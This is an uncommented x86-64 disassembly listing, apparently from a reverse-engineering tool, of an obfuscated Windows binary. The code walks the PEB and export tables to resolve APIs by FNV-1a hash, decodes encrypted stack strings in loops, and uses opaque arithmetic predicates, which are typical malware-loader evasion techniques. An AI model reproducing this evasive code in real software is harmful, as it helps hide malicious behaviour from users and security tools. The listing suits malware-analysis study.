lea r8, [rcx + rax*2]
mov edx, 0xefa659c6
cmp rcx, r8
je 0x140050637
mov rbx, rcx
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
lea rcx, [rbx + 2]
mov rbx, rcx
cmp rcx, r8
jne 0x140050620
cmp edx, r11d
jne 0x14005075d
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r12, rcx
shr r12, 0x20
mov edi, ecx
add rdi, r9
cmp rdi, r9
je 0x14005075d
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x14005075d
mov r15d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r15]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
mov ecx, 0xefa659c6
test al, al
je 0x1400506c9
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x1400506b0
cmp ecx, r10d
je 0x1400506d8
test r8d, r8d
jne 0x140050680
jmp 0x14005075d
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
cmp rdx, rdi
jbe 0x140050701
lea rax, [rdi + r12]
cmp rdx, rax
jae 0x140050701
mov al, 1
jmp 0x140050703
xor al, al
test al, al
je 0x14005077f
mov r11d, 0xefa659c6
mov r10d, r11d
movzx eax, byte [rdx]
cmp al, 0x2e
je 0x140050737
nop word [rax + rax]
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rdx
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x140050720
inc rdx
movzx eax, byte [rdx]
cmp al, 0
je 0x140050759
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x140050741
mov rsi, qword [r13]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r13
je 0x140050773
cmp qword [rax + 0x30], 0
je 0x140050773
mov al, 1
jmp 0x140050775
xor al, al
test al, al
jne 0x1400505e0
xor edx, edx
mov qword [0x14007d200], rdx
xor ecx, ecx
call rdx
nop
xor edx, edx
lea rcx, [rsp + 0x16e8]
call fcn.14005d4b0
nop
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x1360]
mov qword [rsp + 0x50], rax
xor r15d, r15d
mov qword [rsp + 0x1398], r15
mov byte [rsp + 0x20], r15b
mov r9b, 1
lea r8, [rsp + 0x1360]
lea rdx, [rsp + 0x1788]
lea rcx, [rsp + 0xe0]
call fcn.14005e4d0
mov rdx, rax
lea rcx, [rsp + 0x16e8]
call fcn.14005c920
nop
jmp 0x140050807
mov r14d, 7
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx eax, al
imul edx, eax
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*4]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140050bda
cmp byte [rsp + 0x16f8], 0
sete dl
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movzx eax, dl
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140050915
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140050915
mov ebx, r14d
jmp 0x1400509b0
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400509a9
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov ecx, ebx
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x1400509b0
mov ebx, dword [rsp + 0x1678]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov ecx, edi
movsx eax, al
imul ecx, eax
lea eax, [rcx + rcx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x140050bda
mov rdx, qword [0x14007d240]
test rdx, rdx
jne 0x140050bd6
mov r11d, r15d
mov r10d, 0x99517bd7
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r13, qword [rax]
mov rsi, r13
nop word [rax + rax]
movups xmm0, xmmword [rsi + 0x58]
movd eax, xmm0
sub ax, 8
test r11d, r11d
je 0x140050a90
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x9db9bb97
cmp rcx, r8
je 0x140050a87
mov rbx, rcx
nop dword [rax]
nop word [rax + rax]
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
lea rcx, [rbx + 2]
mov rbx, rcx
cmp rcx, r8
jne 0x140050a70
cmp edx, r11d
jne 0x140050bad
mov r9, qword [rsi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rcx, qword [rax + r9 + 0x88]
mov r12, rcx
shr r12, 0x20
mov edi, ecx
add rdi, r9
cmp rdi, r9
je 0x140050bad
mov r8d, dword [rdi + 0x18]
test r8d, r8d
je 0x140050bad
mov r15d, dword [rdi + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r15 + r8*4]
mov ecx, dword [rax + r9]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
mov ecx, 0x9db9bb97
test al, al
je 0x140050b19
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x140050b00
cmp ecx, r10d
je 0x140050b28
test r8d, r8d
jne 0x140050ad0
jmp 0x140050bad
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov eax, dword [rdi + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
cmp rdx, rdi
jbe 0x140050b51
lea rax, [rdi + r12]
cmp rdx, rax
jae 0x140050b51
mov al, 1
jmp 0x140050b53
xor al, al
test al, al
je 0x140050bcf
mov r11d, 0x9db9bb97
mov r10d, r11d
movzx eax, byte [rdx]
cmp al, 0x2e
je 0x140050b87
nop word [rax + rax]
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rdx
movzx eax, byte [rdx]
cmp al, 0x2e
jne 0x140050b70
inc rdx
movzx eax, byte [rdx]
cmp al, 0
je 0x140050ba9
movsx eax, al
xor eax, r10d
imul r10d, eax, 0x1000193
lea rdx, [rdx + 1]
movzx eax, byte [rdx]
test al, al
jne 0x140050b91
mov rsi, qword [r13]
mov rax, qword [rsi]
mov rsi, rax
cmp rax, r13
je 0x140050bc3
cmp qword [rax + 0x30], 0
je 0x140050bc3
mov al, 1
jmp 0x140050bc5
xor al, al
test al, al
jne 0x140050a30
xor edx, edx
mov qword [0x14007d240], rdx
xor ecx, ecx
call rdx
mov byte [rsp + 0x600], 0x88
mov byte [rsp + 0x601], 0x9e
mov byte [rsp + 0x602], 0x89
mov byte [rsp + 0x603], 0x81
mov byte [rsp + 0x604], 0x9c
mov byte [rsp + 0x605], 0x82
mov byte [rsp + 0x606], 0x97
mov byte [rsp + 0x607], 0x93
mov byte [rsp + 0x608], 0xa4
mov byte [rsp + 0x609], 0x94
mov byte [rsp + 0x60a], 0x91
mov byte [rsp + 0x60b], 0x9e
mov byte [rsp + 0x60c], 0x78
xor eax, eax
mov qword [rsp + 0x60d], rax
mov dword [rsp + 0x615], eax
mov word [rsp + 0x619], ax
xor esi, esi
mov qword [rsp + 0x50], rsi
mov rax, qword [rsp + 0x50]
cmp rax, 0x1b
jae 0x140050cc7
movabs r8, 0x82cdd44281609a2e
nop word [rax + rax]
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0x600]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x42
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x600], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x1b
jb 0x140050c80
mov byte [rsp + 0x5e0], 0x34
mov byte [rsp + 0x5e1], 0x38
mov byte [rsp + 0x5e2], 0x26
mov byte [rsp + 0x5e3], 0x3a
mov byte [rsp + 0x5e4], 0xe4
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x5e5], xmm0
mov byte [rsp + 0x5f5], al
mov qword [rsp + 0x50], rsi
mov rax, qword [rsp + 0x50]
cmp rax, 0x16
jae 0x140050d67
movabs r8, 0x8dba2a86fc263ebc
nop dword [rax]
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0x5e0]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x24
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x5e0], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x16
jb 0x140050d20
lea rax, [rsp + 0x5c0]
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x5e0]
lea rcx, [rsp + 0x5c0]
call fcn.140001d00
mov rdx, rax
lea rcx, [rsp + 0x16f8]
call fcn.14005f830
mov rbx, rax
lea rax, [rsp + 0x5a0]
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x600]
lea rcx, [rsp + 0x5a0]
call fcn.140001d00
mov rdx, rax
mov rcx, rbx
call fcn.14005f830
lea rdx, [rsp + 0x17c8]
mov rcx, rax
call fcn.140066290
nop
mov byte [rsp + 0x580], 0x92
mov byte [rsp + 0x581], 0x88
mov byte [rsp + 0x582], 0x81
mov byte [rsp + 0x583], 0x95
mov byte [rsp + 0x584], 0x96
mov byte [rsp + 0x585], 0x8c
mov byte [rsp + 0x586], 0x9f
mov byte [rsp + 0x587], 0x9b
mov byte [rsp + 0x588], 0xee
mov byte [rsp + 0x589], 0xa2
mov byte [rsp + 0x58a], 0xa9
mov byte [rsp + 0x58b], 0xa4
mov byte [rsp + 0x58c], 2
xor eax, eax
mov qword [rsp + 0x58d], rax
mov word [rsp + 0x595], ax
mov byte [rsp + 0x597], al
mov qword [rsp + 0x50], rsi
mov rax, qword [rsp + 0x50]
cmp rax, 0x18
jae 0x140050ebc
movabs r8, 0xa0308f7059c1bed7
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0x580]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
add bl, 0x1f
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x580], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x18
jb 0x140050e75
mov byte [rsp + 0x560], 0xe8
mov byte [rsp + 0x561], 0xec
mov byte [rsp + 0x562], 0xd6
mov byte [rsp + 0x563], 0xe2
mov byte [rsp + 0x564], 0x40
xorps xmm0, xmm0
movups xmmword [rsp + 0x565], xmm0
mov qword [rsp + 0x50], rsi
mov rax, qword [rsp + 0x50]
cmp rax, 0x15
jae 0x140050f57
movabs r8, 0xbfe73a26a5114536
nop dword [rax]
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0x560]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x7a
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x560], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x15
jb 0x140050f10
lea rax, [rsp + 0x540]
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x560]
lea rcx, [rsp + 0x540]
call fcn.140001d00
mov rdx, rax
lea rcx, [rsp + 0x16e8]
call fcn.14005f830
mov rbx, rax
lea rax, [rsp + 0x520]
mov qword [rsp + 0x50], rax
lea rdx, [rsp + 0x580]
lea rcx, [rsp + 0x520]
call fcn.140001d00
mov rdx, rax
mov rcx, rbx
call fcn.14005f830
lea rdx, [rsp + 0x17e8]
mov rcx, rax
call fcn.140066290
nop
mov byte [rsp + 0x14c0], 0xe0
mov byte [rsp + 0x14c1], 0x95
mov byte [rsp + 0x14c2], 0x96
mov byte [rsp + 0x14c3], 0xeb
mov byte [rsp + 0x14c4], 0xe7
mov byte [rsp + 0x14c5], 0xdf
mov byte [rsp + 0x14c6], 0x21
mov byte [rsp + 0x14c7], 0x20
mov byte [rsp + 0x14c8], 0xec
mov byte [rsp + 0x14c9], 0xe8
mov byte [rsp + 0x14ca], 0xe1
mov byte [rsp + 0x14cb], 0xf0
mov byte [rsp + 0x14cc], 0xdb
mov byte [rsp + 0x14cd], 0xdf
mov byte [rsp + 0x14ce], 0xd2
mov byte [rsp + 0x14cf], 0x19
mov byte [rsp + 0x14d0], 0xcb
mov byte [rsp + 0x14d1], 0xde
mov byte [rsp + 0x14d2], 0xdf
mov byte [rsp + 0x14d3], 0x1c
mov byte [rsp + 0x14d4], 0xc5
mov byte [rsp + 0x14d5], 0xd5
mov byte [rsp + 0x14d6], 0xdf
mov byte [rsp + 0x14d7], 0x10
mov byte [rsp + 0x14d8], 0xaf
mov byte [rsp + 0x14d9], 0xdc
mov byte [rsp + 0x14da], 0xc0
mov byte [rsp + 0x14db], 0xdb
mov byte [rsp + 0x14dc], 0xcb
mov byte [rsp + 0x14dd], 0xca
mov byte [rsp + 0x14de], 0xc5
mov byte [rsp + 0x14df], 0xcc
mov byte [rsp + 0x14e0], 0xf
mov byte [rsp + 0x14e1], 8
mov byte [rsp + 0x14e2], 8
mov byte [rsp + 0x14e3], 0xf6
mov byte [rsp + 0x14e4], 0xf8
mov byte [rsp + 0x14e5], 5
mov byte [rsp + 0x14e6], 0xf9
mov byte [rsp + 0x14e7], 0xfe
mov byte [rsp + 0x14e8], 0xfc
mov byte [rsp + 0x14e9], 3
mov byte [rsp + 0x14ea], 0xfd
mov byte [rsp + 0x14eb], 0
mov byte [rsp + 0x14ec], 0xff
mov byte [rsp + 0x14ed], 0xff
mov byte [rsp + 0x14ee], 0xff
mov byte [rsp + 0x14ef], 3
mov byte [rsp + 0x14f0], 1
mov byte [rsp + 0x14f1], 0xfb
mov byte [rsp + 0x14f2], 6
mov byte [rsp + 0x14f3], 2
mov byte [rsp + 0x14f4], 0xf3
mov byte [rsp + 0x14f5], 0xf6
mov byte [rsp + 0x14f6], 0x1b
mov byte [rsp + 0x14f7], 0xe
mov byte [rsp + 0x14f8], 9
mov byte [rsp + 0x14f9], 0x1e
mov byte [rsp + 0x14fa], 0x2e
mov byte [rsp + 0x14fb], 0x32
mov byte [rsp + 0x14fc], 0x50
mov byte [rsp + 0x14fd], 0xef
mov byte [rsp + 0x14fe], 0x52
mov byte [rsp + 0x14ff], 0xf
mov byte [rsp + 0x1500], 0xf
mov byte [rsp + 0x1501], 0x18
mov byte [rsp + 0x1502], 0x37
mov byte [rsp + 0x1503], 0x35
mov byte [rsp + 0x1504], 0x1d
mov byte [rsp + 0x1505], 0x16
mov byte [rsp + 0x1506], 0xe7
mov byte [rsp + 0x1507], 6
mov byte [rsp + 0x1508], 0x22
mov byte [rsp + 0x1509], 0x32
mov byte [rsp + 0x150a], 0xf
mov byte [rsp + 0x150b], 0x2f
mov byte [rsp + 0x150c], 0x35
mov byte [rsp + 0x150d], 0x2e
mov byte [rsp + 0x150e], 0x1f
mov byte [rsp + 0x150f], 0x61
mov byte [rsp + 0x1510], 0xf
mov byte [rsp + 0x1511], 0x26
mov byte [rsp + 0x1512], 0x28
mov byte [rsp + 0x1513], 1
mov byte [rsp + 0x1514], 0x34
mov byte [rsp + 0x1515], 0x18
mov byte [rsp + 0x1516], 0x30
mov byte [rsp + 0x1517], 0x3a
mov byte [rsp + 0x1518], 0x3b
mov byte [rsp + 0x1519], 0xd3
mov byte [rsp + 0x151a], 8
mov byte [rsp + 0x151b], 4
mov byte [rsp + 0x151c], 0x13
mov byte [rsp + 0x151d], 0x2c
mov byte [rsp + 0x151e], 0xf
mov byte [rsp + 0x151f], 0x36
mov byte [rsp + 0x1520], 0x35
mov byte [rsp + 0x1521], 0x14
mov byte [rsp + 0x1522], 6
mov byte [rsp + 0x1523], 0x25
mov byte [rsp + 0x1524], 0x1b
mov byte [rsp + 0x1525], 0xc0
mov byte [rsp + 0x1526], 5
mov byte [rsp + 0x1527], 0x27
mov byte [rsp + 0x1528], 0x2c
mov byte [rsp + 0x1529], 0x1f
mov byte [rsp + 0x152a], 0x29
mov byte [rsp + 0x152b], 0xe
mov byte [rsp + 0x152c], 0x6f
mov byte [rsp + 0x152d], 0x5e
mov byte [rsp + 0x152e], 3
mov byte [rsp + 0x152f], 0x4d
mov byte [rsp + 0x1530], 0x73
mov byte [rsp + 0x1531], 0x5c
mov byte [rsp + 0x1532], 5
mov byte [rsp + 0x1533], 0x5a
mov byte [rsp + 0x1534], 0x6a
mov byte [rsp + 0x1535], 0x5e
mov byte [rsp + 0x1536], 0x44
mov byte [rsp + 0x1537], 0x7d
mov byte [rsp + 0x1538], 0x5e
mov byte [rsp + 0x1539], 0x81
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x153a], xmm0
mov word [rsp + 0x154a], ax
mov qword [rsp + 0x50], rsi
mov rax, qword [rsp + 0x50]
cmp rax, 0x8c
jae 0x140051419
movabs r8, 0x6e15d6cdd8257854
nop dword [rax + rax]
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0x14c0]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
sub bl, 0x4c
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x14c0], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x8c
jb 0x1400513d0
movzx edx, byte [rsp + 0x1670]
lea rcx, [rsp + 0x1808]
call fcn.140002460
nop
lea rax, [rsp + 0x14c0]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x140051441
lea rdx, [rsp + 0x14c0]
lea rcx, [rsp + 0x1808]
call fcn.140002480
nop
mov byte [rsp + 0x1440], 0x73
mov byte [rsp + 0x1441], 0x80
mov byte [rsp + 0x1442], 0x84
mov byte [rsp + 0x1443], 0x7f
mov byte [rsp + 0x1444], 0x28
mov byte [rsp + 0x1445], 0x3c
mov byte [rsp + 0x1446], 0x89
mov byte [rsp + 0x1447], 0x27
mov byte [rsp + 0x1448], 0x31
mov byte [rsp + 0x1449], 0x72
mov byte [rsp + 0x144a], 0x22
mov byte [rsp + 0x144b], 0x36
mov byte [rsp + 0x144c], 0x79
mov byte [rsp + 0x144d], 0x21
mov byte [rsp + 0x144e], 0x2b
mov byte [rsp + 0x144f], 0x47
mov byte [rsp + 0x1450], 0x3c
mov byte [rsp + 0x1451], 0x23
mov byte [rsp + 0x1452], 0x5b
mov byte [rsp + 0x1453], 0x64
mov byte [rsp + 0x1454], 0x67
mov byte [rsp + 0x1455], 0x64
mov byte [rsp + 0x1456], 0x66
mov byte [rsp + 0x1457], 0x9b
mov byte [rsp + 0x1458], 0x52
mov byte [rsp + 0x1459], 0x35
mov byte [rsp + 0x145a], 0x73
mov byte [rsp + 0x145b], 0x63
mov byte [rsp + 0x145c], 0x60
mov byte [rsp + 0x145d], 0x65
mov byte [rsp + 0x145e], 0x57
mov byte [rsp + 0x145f], 0x50
mov byte [rsp + 0x1460], 0x4d
mov byte [rsp + 0x1461], 0xa1
mov byte [rsp + 0x1462], 0x53
mov byte [rsp + 0x1463], 0x58
mov byte [rsp + 0x1464], 0x5a
mov byte [rsp + 0x1465], 0x1a
mov byte [rsp + 0x1466], 0x50
mov byte [rsp + 0x1467], 0xa8
mov byte [rsp + 0x1468], 0x57
mov byte [rsp + 0x1469], 0x57
mov byte [rsp + 0x146a], 0x1c
mov byte [rsp + 0x146b], 3
mov byte [rsp + 0x146c], 0x15
mov byte [rsp + 0x146d], 0x79
mov byte [rsp + 0x146e], 0x1e
mov byte [rsp + 0x146f], 1
mov byte [rsp + 0x1470], 0x63
mov byte [rsp + 0x1471], 0x4e
mov byte [rsp + 0x1472], 0x48
mov byte [rsp + 0x1473], 0xb7
mov byte [rsp + 0x1474], 0x45
mov byte [rsp + 0x1475], 0x4b
mov byte [rsp + 0x1476], 0xba
mov byte [rsp + 0x1477], 2
mov byte [rsp + 0x1478], 0x58
mov byte [rsp + 0x1479], 0xbc
mov byte [rsp + 0x147a], 0x42
mov byte [rsp + 0x147b], 0x4e
mov byte [rsp + 0x147c], 0x76
mov byte [rsp + 0x147d], 0x50
mov byte [rsp + 0x147e], 0x3e
mov byte [rsp + 0x147f], 0x3f
mov byte [rsp + 0x1480], 0x38
mov byte [rsp + 0x1481], 0x34
mov byte [rsp + 0x1482], 0x35
mov byte [rsp + 0x1483], 0x2a
mov byte [rsp + 0x1484], 0xc4
mov byte [rsp + 0x1485], 0x30
mov byte [rsp + 0x1486], 0x35
mov byte [rsp + 0x1487], 0x35
mov byte [rsp + 0x1488], 0x77
mov byte [rsp + 0x1489], 0x33
mov byte [rsp + 0x148a], 0xcd
mov byte [rsp + 0x148b], 0x30
mov byte [rsp + 0x148c], 0x32
mov byte [rsp + 0x148d], 0x7f
mov byte [rsp + 0x148e], 0x7e
mov byte [rsp + 0x148f], 0x6a
mov byte [rsp + 0x1490], 0x34
mov byte [rsp + 0x1491], 0x7d
mov byte [rsp + 0x1492], 0xa
mov byte [rsp + 0x1493], 8
mov byte [rsp + 0x1494], 0x37
mov byte [rsp + 0x1495], 0x35
mov byte [rsp + 0x1496], 0x76
mov byte [rsp + 0x1497], 0x62
mov byte [rsp + 0x1498], 0x61
mov byte [rsp + 0x1499], 0x29
mov byte [rsp + 0x149a], 0x33
mov byte [rsp + 0x149b], 0xdf
mov byte [rsp + 0x149c], 0x31
mov byte [rsp + 0x149d], 0x71
mov byte [rsp + 0x149e], 0x50
mov byte [rsp + 0x149f], 0xe8
mov byte [rsp + 0x14a0], 8
mov byte [rsp + 0x14a1], 0x53
mov byte [rsp + 0x14a2], 0x15
mov byte [rsp + 0x14a3], 0x18
mov byte [rsp + 0x14a4], 0x1a
mov byte [rsp + 0x14a5], 0xe5
mov byte [rsp + 0x14a6], 0x1b
mov byte [rsp + 0x14a7], 0x15
mov byte [rsp + 0x14a8], 0xe8
mov byte [rsp + 0x14a9], 1
mov byte [rsp + 0x14aa], 0x5c
mov byte [rsp + 0x14ab], 0x25
mov byte [rsp + 0x14ac], 0x40
mov byte [rsp + 0x14ad], 5
mov byte [rsp + 0x14ae], 0x40
mov byte [rsp + 0x14af], 0x7f
xor eax, eax
mov dword [rsp + 0x14b0], eax
mov byte [rsp + 0x14b4], al
mov qword [rsp + 0x50], rsi
mov rax, qword [rsp + 0x50]
cmp rax, 0x75
jae 0x140051857
movabs r8, 0xa5625c0d9ef86d82
nop dword [rax + rax]
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0x1440]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
add bl, 0x72
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x1440], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x75
jb 0x140051810
movzx edx, byte [rsp + 0x1670]
lea rcx, [rsp + 0x1828]
call fcn.140002460
nop
lea rax, [rsp + 0x1440]
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140051880
lea rdx, [rsp + 0x1440]
lea rcx, [rsp + 0x1828]
call fcn.140002480
nop
mov byte [rsp + 0xf0], 0x9c
mov byte [rsp + 0xf1], 0xa3
mov byte [rsp + 0xf2], 0x7f
mov byte [rsp + 0xf3], 0xa1
mov byte [rsp + 0xf4], 0xa4
mov byte [rsp + 0xf5], 0xc5
xor eax, eax
mov qword [rsp + 0xf6], rax
mov word [rsp + 0xfe], ax
mov qword [rsp + 0x50], rsi
mov rax, qword [rsp + 0x50]
cmp rax, 0x10
jae 0x140051947
movabs r8, 0xc6ac57a7e6414d60
nop dword [rax]
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0xf0]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
add bl, 0x60
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0xf0], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x10
jb 0x140051900
movzx edx, byte [rsp + 0x1670]
lea rcx, [rsp + 0x1848]
call fcn.140002460
nop
lea rax, [rsp + 0xf0]
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140051970
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x1848]
call fcn.140002480
nop
mov byte [rsp + 0x1130], 0xd8
mov byte [rsp + 0x1131], 0x30
mov byte [rsp + 0x1132], 0x2f
mov byte [rsp + 0x1133], 0x35
mov byte [rsp + 0x1134], 0x3e
mov byte [rsp + 0x1135], 0xfd
mov byte [rsp + 0x1136], 0x85
mov byte [rsp + 0x1137], 0x52
mov byte [rsp + 0x1138], 0xbd
mov byte [rsp + 0x1139], 0x57
mov byte [rsp + 0x113a], 0x47
mov byte [rsp + 0x113b], 0x8d
mov byte [rsp + 0x113c], 0x46
mov byte [rsp + 0x113d], 0xb6
mov byte [rsp + 0x113e], 0x58
mov byte [rsp + 0x113f], 0x8e
mov byte [rsp + 0x1140], 0xf6
mov byte [rsp + 0x1141], 0x4f
mov byte [rsp + 0x1142], 0x4b
mov byte [rsp + 0x1143], 0x47
mov byte [rsp + 0x1144], 0x4d
mov byte [rsp + 0x1145], 0xee
mov byte [rsp + 0x1146], 0xcc
xor eax, eax
mov qword [rsp + 0x1147], rax
mov dword [rsp + 0x114f], eax
mov word [rsp + 0x1153], ax
mov byte [rsp + 0x1155], al
mov qword [rsp + 0x50], rsi
mov rax, qword [rsp + 0x50]
cmp rax, 0x26
jae 0x140051ac9
movabs r8, 0x3c78b28a38f1683b
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx ebx, byte [rsp + rax + 0x1130]
add rdx, r8
movzx eax, bl
and al, dl
add al, al
sub bl, al
add bl, 0x63
add bl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x1130], bl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x26
jb 0x140051a82
lea r8, [rsp + 0x1130]
lea rdx, [rsp + 0x1828]
lea rcx, [rsp + 0x500]
call fcn.14005df60
nop
lea r8, [rsp + 0x1848]
mov rdx, rax
lea rcx, [rsp + 0x4e0]
call fcn.14005e220
nop
lea r8, [rsp + 0x1808]
mov rdx, rax
lea rcx, [rsp + 0x4c0]
call fcn.14005e220
nop
mov rcx, rax
call fcn.1400020a0
mov rbx, rax
movzx edx, byte [rsp + 0x1670]
lea rcx, [rsp + 0x4a0]
call fcn.140002460
nop
